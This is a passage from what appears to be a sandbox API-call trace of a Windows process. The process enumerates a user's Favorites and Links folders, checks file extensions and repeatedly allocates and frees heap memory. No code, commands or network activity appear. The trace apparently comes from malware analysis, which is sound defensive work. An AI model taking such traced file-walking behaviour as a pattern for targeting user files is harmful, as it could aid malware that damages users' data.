Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0120.350] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.350] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0120.350] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0120.350] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.350] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.350] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.350] PathFindFileNameW (pszPath="") returned="" [0120.350] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.350] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0120.350] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.350] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.350] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.350] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.350] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e) returned 0x2f61740 [0120.350] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.350] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned=".ini" [0120.350] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0120.350] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0120.350] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.350] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0120.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.351] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0d20 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1050 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0120.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1050 | out: hHeap=0x5e0000) returned 1 [0120.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0d20 | out: hHeap=0x5e0000) returned 1 [0120.351] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018998 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x214) returned 0x3093b88 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0d20 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018920 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018830 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30188a8 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30181a0 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30187b8 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30185d8 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x3023428 [0120.351] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1050 [0120.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023150 | out: hHeap=0x5e0000) returned 1 [0120.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023080 | out: hHeap=0x5e0000) returned 1 [0120.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30230e8 | out: hHeap=0x5e0000) returned 1 [0120.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0120.351] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018470 | out: hHeap=0x5e0000) returned 1 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30184e8 | out: hHeap=0x5e0000) returned 1 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018560 | out: hHeap=0x5e0000) returned 1 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30180b0 | out: hHeap=0x5e0000) returned 1 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30186c8 | out: hHeap=0x5e0000) returned 1 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f84e20 | out: hHeap=0x5e0000) returned 1 [0120.352] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30186c8 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018998 | out: hHeap=0x5e0000) returned 1 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0120.352] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0120.352] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0120.352] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018998 [0120.352] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30183f8 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018998 | out: hHeap=0x5e0000) returned 1 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0120.352] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0120.352] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.352] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.352] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde5e0 [0120.352] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.352] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.352] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.352] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.353] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.353] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.354] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.354] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.355] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.355] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.356] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.356] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.356] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.356] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.356] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.356] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.356] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.356] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.356] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.356] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.356] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.356] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.356] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.356] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.356] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.357] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0120.357] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.357] PathFindFileNameW 